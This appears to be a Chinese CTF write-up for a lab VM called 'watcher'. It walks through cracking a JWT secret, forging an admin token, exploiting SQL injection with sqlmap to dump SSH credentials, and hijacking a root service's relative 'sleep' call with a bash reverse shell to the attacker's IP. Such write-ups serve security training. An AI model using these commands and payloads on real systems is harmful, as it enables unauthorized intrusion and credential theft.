

信息收集

```
1 (root@kali)-[~]
2 # IP=192.168.5.143
3
```

扫描端口

```
1 (root@kali)-[~]
2 # rustscan -a $IP --ulimit 5000 -- -sv -sC
3
4 .----. .-. .-. .----.----. .----. .----. .---. .-. .-.
5 | {} }| { } |{ { _ { _ _}{ { _ / _ _} / { } \ | `| |
6 | .-. \ | { } | .-. _} } | | .-. _} } \ _ _} / ^ \ | \ |
7 | `| `| `| `| `| `| `| `| `| `| `| `| `| `| `| `| `|
8
9 The Modern Day Port Scanner.
10
11 : http://discord.skerritt.blog :
12 : https://github.com/RustScan/RustScan :
13 : -----
14 : https://admin.tryhackme.com
15
16 [~] The config file is expected to be at "/root/.rustscan.toml"
17 [~] Automatically increasing ulimit value to 5000.
18 Open 192.168.5.143:22
19 Open 192.168.5.143:5000
20 [~] Starting Script(s)
21 [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sv -sC" on ip
22 192.168.5.143
23
24 Depending on the complexity of the script, results may take some time to appear.
25 [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 08:35 EDT
26 NSE: Loaded 157 scripts for scanning.
27 NSE: Script Pre-scanning.
28 NSE: Starting runlevel 1 (of 3) scan.
29 Initiating NSE at 08:35
30 Completed NSE at 08:35, 0.00s elapsed
31 NSE: Starting runlevel 2 (of 3) scan.
32 Initiating NSE at 08:35
33 Completed NSE at 08:35, 0.00s elapsed
34 NSE: Starting runlevel 3 (of 3) scan.
35 Initiating NSE at 08:35
36 Completed NSE at 08:35, 0.00s elapsed
37 Initiating ARP Ping Scan at 08:35
38 Scanning 192.168.5.143 [1 port]
39 Completed ARP Ping Scan at 08:35, 0.05s elapsed (1 total hosts)
```

```
36 Initiating Parallel DNS resolution of 1 host. at 08:35
37 Completed Parallel DNS resolution of 1 host. at 08:35, 0.00s elapsed
38 DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0,
    TR: 1, CN: 0]
39 Initiating SYN Stealth Scan at 08:35
40 Scanning watcher.lan (192.168.5.143) [2 ports]
41 Discovered open port 22/tcp on 192.168.5.143
42 Discovered open port 5000/tcp on 192.168.5.143
43 Completed SYN Stealth scan at 08:35, 0.04s elapsed (2 total ports)
44 Initiating Service scan at 08:35
45 Scanning 2 services on watcher.lan (192.168.5.143)
46 Completed Service scan at 08:35, 6.09s elapsed (2 services on 1 host)
47 NSE: Script scanning 192.168.5.143.
48 NSE: Starting runlevel 1 (of 3) scan.
49 Initiating NSE at 08:35
50 Completed NSE at 08:35, 0.58s elapsed
51 NSE: Starting runlevel 2 (of 3) scan.
52 Initiating NSE at 08:35
53 Completed NSE at 08:35, 0.01s elapsed
54 NSE: Starting runlevel 3 (of 3) scan.
55 Initiating NSE at 08:35
56 Completed NSE at 08:35, 0.00s elapsed
57 Nmap scan report for watcher.lan (192.168.5.143)
58 Host is up, received arp-response (0.00098s latency).
59 Scanned at 2026-06-01 08:35:41 EDT for 6s
60
61 PORT      STATE SERVICE REASON          VERSION
62 22/tcp    open  ssh      syn-ack ttl 64  OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
63 5000/tcp  open  http     syn-ack ttl 64  Unicorn
64 | http-title: Maze_Sec - Login
65 |_Requested resource was /login
66 |_http-server-header: gunicorn
67 | http-methods:
68 |_  Supported Methods: GET OPTIONS HEAD
69 MAC Address: 08:00:27:1E:D2:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
70 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
71
72 NSE: Script Post-scanning.
73 NSE: Starting runlevel 1 (of 3) scan.
74 Initiating NSE at 08:35
75 Completed NSE at 08:35, 0.00s elapsed
76 NSE: Starting runlevel 2 (of 3) scan.
77 Initiating NSE at 08:35
78 Completed NSE at 08:35, 0.00s elapsed
79 NSE: Starting runlevel 3 (of 3) scan.
80 Initiating NSE at 08:35
81 Completed NSE at 08:35, 0.00s elapsed
82 Read data files from: /usr/share/nmap
83 Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
84 Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds
85      Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
```

user shell

登录后获得 Cookie 中的 JWT Token，解码Payload：

```
1 {
2   "username": "testuser456",
3   "level": "normal",
4   "iat": 1780317717,
5   "exp": 1780321317
6 }
```

用 `john` 爆破 JWT 密钥：

```
1 (base) └─(kali㉿kali)-[~/Desktop]
2 └─$ echo
   "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3Rlc2VyNDU2IiwibGV2ZWwiOiJ1b3JtYWwiLCJpYXQiOiJE3ODAzMTc3MTcsImV4cCI6MTc4MDMyMTMxN30.jqL4m8kvi-CAMqZZvIRhvxXmoARbkKqwad4avdnBINS" > jwt.txt
3
4 (base) └─(kali㉿kali)-[~/Desktop]
5 └─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
6 Using default input encoding: UTF-8
7 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
8 Will run 4 OpenMP threads
9 Press 'q' or Ctrl-C to abort, almost any other key for status
10 maze (?)
11 1g 0:00:00:01 DONE (2026-06-01 09:15) 0.8771g/s 4997kp/s 4997kc/s 4997Kc/s
   mazney..mayor1962
12 Use the "--show" option to display all of the cracked passwords reliably
13 Session completed.
```

得到密钥 `maze`

到 [JSON Web Tokens - jwt.io](https://jwt.io) 伪造 Token 即可访问 `/admin` 管理面板

管理员面板通过 `/api/settings/update` 接口发送 JSON 来更新设置：

```
1 fetch('/api/settings/update', {
2   method: 'POST',
3   headers: { 'Content-Type': 'application/json' },
4   body: JSON.stringify({ key: key, value: value })
5 })
```

正常请求响应：

```
1 {"code":200,"current_value":"dark","msg":"设置已更新"}
```

这个API接受任意 `key` 和 `value`，没有任何过滤。尝试在 `value` 中注入特殊字符来探测是否存在SQL注入：

```
1 (root@kali)-[~]
2 # curl -X POST http://192.168.5.143:5000/api/settings/update \
3   -H "Content-Type: application/json" \
4   -H "Cookie: token=<admin_jwt>" \
5   -d '{"key":"log_level","value":"\n__import__('\''os'\''')\n"}'
6 {"code":500,"msg":"\u6570\u636e\u5e93\u9519\u8bef: near \"os\": syntax error"}
```

这个错误暴露的信息：

1. 后端使用 SQLite 数据库： `near "os": syntax error` 是SQLite特有的报错格式
2. `value` 参数存在SQL注入：单引号 `'` 破坏了SQL语句的字符串边界，导致SQL语法错误
3. 是一个带报错回显的注入点

使用 sqlmap 确认注入点

```
1 (root@kali)-[~]
2 # sqlmap -u "http://192.168.5.143:5000/api/settings/update" \
3   --data='{"key":"log_level","value":"*"}' \
4   --cookie="token=<admin_jwt>" \
5   --dbms=sqlite \
6   --level=2 --risk=2 \
7   --technique=B \
8   --batch
9
10 ...
11 [09:25:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
12 (custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the
    others (if any)? [y/N] N
13 sqlmap identified the following injection point(s) with a total of 89 HTTP(s)
    requests:
14 ---
15 Parameter: JSON #1* ((custom) POST)
16   Type: boolean-based blind
17   Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause
    (JSON)
18   Payload: {"key":"log_level","value":"' AND CASE WHEN 8390=8390 THEN 8390 ELSE
    JSON(CHAR(106,114,66,79)) END AND 'wjeu'='wjeu'"}
```

```

19 ---
20 [09:25:57] [INFO] the back-end DBMS is SQLite
21 back-end DBMS: SQLite
22 [09:25:57] [WARNING] HTTP error codes detected during run:
23 500 (Internal Server Error) - 28 times
24 [09:25:57] [INFO] fetched data logged to text files under
25 '/root/.local/share/sqlmap/output/192.168.5.143'
26 [09:25:57] [WARNING] your sqlmap version is outdated
27 [*] ending @ 09:25:57 /2026-06-01/

```

可以布尔盲注，先枚举数据库表：

```

1 └─(root@kali)-[~]
2 └─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \
3     --data='{"key":"log_level","value":"*"}' \
4     --cookie="token=<admin_jwt>" \
5     --dbms=sqlite \
6     --technique=B \
7     --batch \
8     --tables
9
10 ...
11 <current>
12 [4 tables]
13 +-----+
14 | secret      |
15 | settings    |
16 | sqlite_sequence |
17 | users       |
18 +-----+
19
20 [09:32:57] [WARNING] HTTP error codes detected during run:
21 500 (Internal Server Error) - 127 times
22 [09:32:57] [INFO] fetched data logged to text files under
23 '/root/.local/share/sqlmap/output/192.168.5.143'
24 [09:32:57] [WARNING] your sqlmap version is outdated
25 [*] ending @ 09:32:57 /2026-06-01/

```

结果共4个表，全部导出来：

```

1 └─(root@kali)-[~]
2 └─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \
3     --data='{"key":"log_level","value":"*"}' \
4     --cookie="token=<admin_jwt>" \
5     --dbms=sqlite \

```

```

6  --technique=B \
7  --batch \
8  --threads=5 \
9  --dump-all
10
11 ...
12 [09:38:54] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#_ 31/32 (96%)
13 [09:39:24] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
14 [09:39:24] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#$
15 Database: <current>
16 Table: secret
17 [1 entry]
18 +---+-----+
19 | id | secret |
20 +---+-----+
21 | 1  | watcher:mazesec123q1231w!@#!@@#$ |
22 +---+-----+
23
24 [09:39:24] [INFO] table 'SQLite_masterdb.secret' dumped to CSV file
    '/root/.local/share/sqlmap/output/192.168.5.143/dump/SQLite_masterdb/secret.csv'
25 ...

```

拿到用户名和密码 `watcher:mazesec123q1231w!@#!@@#$` , 直接 ssh 登录

```

1  └─(root@kali)-[~]
2  └─# ssh watcher@$IP
3  The authenticity of host '192.168.5.143 (192.168.5.143)' can't be established.
4  ED25519 key fingerprint is SHA256:Mj0ue5ON03T2UcSPm1U3evmpGUywf/3IU0+1p77cI.
5  This host key is known by the following other names/addresses:
6  ~/.ssh/known_hosts:5: [hashed name]
7  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
8  warning: Permanently added '192.168.5.143' (ED25519) to the list of known hosts.
9  watcher@192.168.5.143's password:
10 Linux watcher 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie
    (2026-05-15) x86_64
11
12 The programs included with the Debian GNU/Linux system are free software;
13 the exact distribution terms for each program are described in the
14 individual files in /usr/share/doc/*/copyright.
15
16 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
17 permitted by applicable law.
18 Last login: Mon Jun  1 09:41:52 2026 from 192.168.5.153
19 watcher@watcher:~$ id
20 uid=1000(watcher) gid=1000(watcher) groups=1000(watcher),100(users)
21 watcher@watcher:~$ ls -la
22 total 36
23 drwx----- 3 watcher watcher 4096 Jun  1 09:22 .
24 drwxr-xr-x 3 root    root    4096 May 22 12:04 ..

```

```
25 -rw----- 1 watcher watcher 872 Jun 1 09:40 .bash_history
26 -rw-r--r-- 1 watcher watcher 220 May 22 12:04 .bash_logout
27 -rw-r--r-- 1 watcher watcher 3526 May 22 12:04 .bashrc
28 -rw----- 1 watcher watcher 20 Jun 1 09:22 .lessht
29 -rw-r--r-- 1 watcher watcher 807 May 22 12:04 .profile
30 drwx-wx-wx 2 watcher watcher 4096 Jun 1 09:41 uploads
31 -rw----- 1 watcher watcher 44 May 22 12:56 user.txt
32 watcher@watcher:~$ cat user.txt
33 flag{user-c3949567202847f1ad8664095f0a94e4}
```

root shell

查看运行中的服务

```
1 watcher@watcher:~$ systemctl list-units --type=service --state=running
2 UNIT                                LOAD    ACTIVE SUB    DESCRIPTION
3 autoarchive.service                loaded active running AutoArchive root watcher
4 cron.service                       loaded active running Regular background program
   processing daemon
5 dbus.service                       loaded active running D-Bus System Message Bus
6 getty@tty1.service                 loaded active running Getty on tty1
7 ssh.service                        loaded active running OpenBSD Secure Shell server
8 systemd-journald.service            loaded active running Journal Service
9 systemd-logind.service              loaded active running User Login Management
10 systemd-timesyncd.service           loaded active running Network Time Synchronization
11 systemd-udevd.service               loaded active running Rule-based Manager for Device
   Events and Files
12 user@1000.service                  loaded active running User Manager for UID 1000
13 watcher.service                   loaded active running Watcher CTF Web Service
14
15 Legend: LOAD    → Reflects whether the unit definition was properly loaded.
16             ACTIVE → The high-level unit activation state, i.e. generalization of SUB.
17             SUB    → The low-level unit activation state, values depend on unit type.
18
19 11 loaded units listed.
```

发现两个自定义服务 `autoarchive.service` 和 `watcher.service`

然后分析 `autoarchive.service`

```
1 watcher@watcher:~$ systemctl cat autoarchive.service
2 # /etc/systemd/system/autoarchive.service
3 [Unit]
4 Description=AutoArchive root watcher
5 After=network.target
```

```
6
7 [Service]
8 Type=simple
9 ExecStart=/usr/bin/env AUTOARCHIVE_HELPER=/opt/autoarchive/archive-helper
/opt/autoarchive/sync.sh
10 Restart=always
11 RestartSec=2
12 User=root
13 WorkingDirectory=/opt/autoarchive
14
15 [Install]
16 WantedBy=multi-user.target
```

发现 `autoarchive.service` 以 root 身份运行，执行 `/opt/autoarchive/sync.sh`

且 `/opt/autoarchive/` 无法直接访问：

```
1 watcher@watcher:~$ ls -la /opt/autoarchive/
2 ls: cannot open directory '/opt/autoarchive/': Permission denied
3 watcher@watcher:~$ cat /opt/autoarchive/sync.sh
4 cat: /opt/autoarchive/sync.sh: Permission denied
```

然后分析 autoarchive 进程的行为，先找到 autoarchive 的所有进程 PID

```
1 watcher@watcher:~$ cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs
2 368
3 394
4 395
```

然后挨个看它们在执行什么：

```
1 watcher@watcher:~$ cat /proc/368/cmdline | tr '\0' ' '
2 /bin/bash /opt/autoarchive/sync.sh
3 watcher@watcher:~$ cat /proc/394/cmdline | tr '\0' ' '
4 inotifywait -m -e create /home/watcher/uploads
5 watcher@watcher:~$ cat /proc/395/cmdline | tr '\0' ' '
6 /bin/bash /opt/autoarchive/sync.sh
```

关键在 PID 394：`inotifywait` 是 Linux 的文件监控工具，`-m` 是持续监控，`-e create` 是监听文件创建事件，目标是 `/home/watcher/uploads/`，这意味着每当 `uploads` 目录新增一个文件，`sync.sh` 就会收到通知并做某些处理

又注意到 `uploads` 目录 `wacher` 用户可以写入，既然能写文件进去，`sync.sh` 收到通知后又处理它，那 `sync.sh` 怎么处理就成了关键

接下来观察每次创建文件会发生什么，记录创建文件前的 `cgroup.procs`，创建文件后立刻再看一次，对比多了什么 PID

```
1 # 获取当前PIDs
2 OLD_PID=$(cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort)
3 # 创建一个文件
4 touch ./uploads/a.txt
5 # 获取新PID
6 NEW_PID=$(comm -13 <(echo "$OLD_PID") <(cat
  /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort))
7 echo "New PID: $NEW_PID"
8 # 查看新进程
9 cat /proc/$NEW_PID/cmdline | tr '\0' ' '
10 # 确认新进程的父子关系
11 cat /proc/$NEW_PID/status | grep PPid
```

输出：

```
1 New PID: 7248
2 sleep 3
3 PPid: 395
```

发现新进程是 7248，内容是 `sleep 3`，父进程是 395

也就是说每次在 `uploads` 创建文件，PID 395 的子bash 就会执行一次 `sleep 3`，这个 `sleep 3` 属于 `autoarchive cgroup`，以 `root` 身份运行

观察到 `/proc/7248/cmdline` 的输出是 `sleep 3` 而非 `/usr/bin/sleep 3`，也就是说 `sync.sh` 使用相对路径执行 `sleep` 命令，并且会 `cd` 到 `uploads` 目录，因此只要在 `uploads` 目录放置一个名为 `sleep` 的文件就会被以 `root` 身份执行

接下来创建一个恶意的 `sleep` 文件反弹 shell

```
1 python3 -c "
2 with open('/home/watcher/uploads/sleep', 'w') as f:
3     f.write('#!/bin/bash\nbash -i >& /dev/tcp/192.168.5.153/4444 0>&1\n')
4 "
5 chmod +x ./uploads/sleep
6 touch ./uploads/trigger.txt
```



```
1 └─(kali㉿kali)-[~/Desktop]
2 └─$ nc -lvp 4444
3 listening on [any] 4444 ...
4 connect to [192.168.5.153] from (UNKNOWN) [192.168.5.143] 45564
5 bash: cannot set terminal process group (368): Inappropriate ioctl for device
6 bash: no job control in this shell
7 root@watcher:/home/watcher/uploads# id
8 uid=0(root) gid=0(root) groups=0(root)
9 root@watcher:/home/watcher/uploads# cd
10 root@watcher:~# cat root.txt
11 flag{root-6661e4dc99e9408984d16d30b0c0730c}
```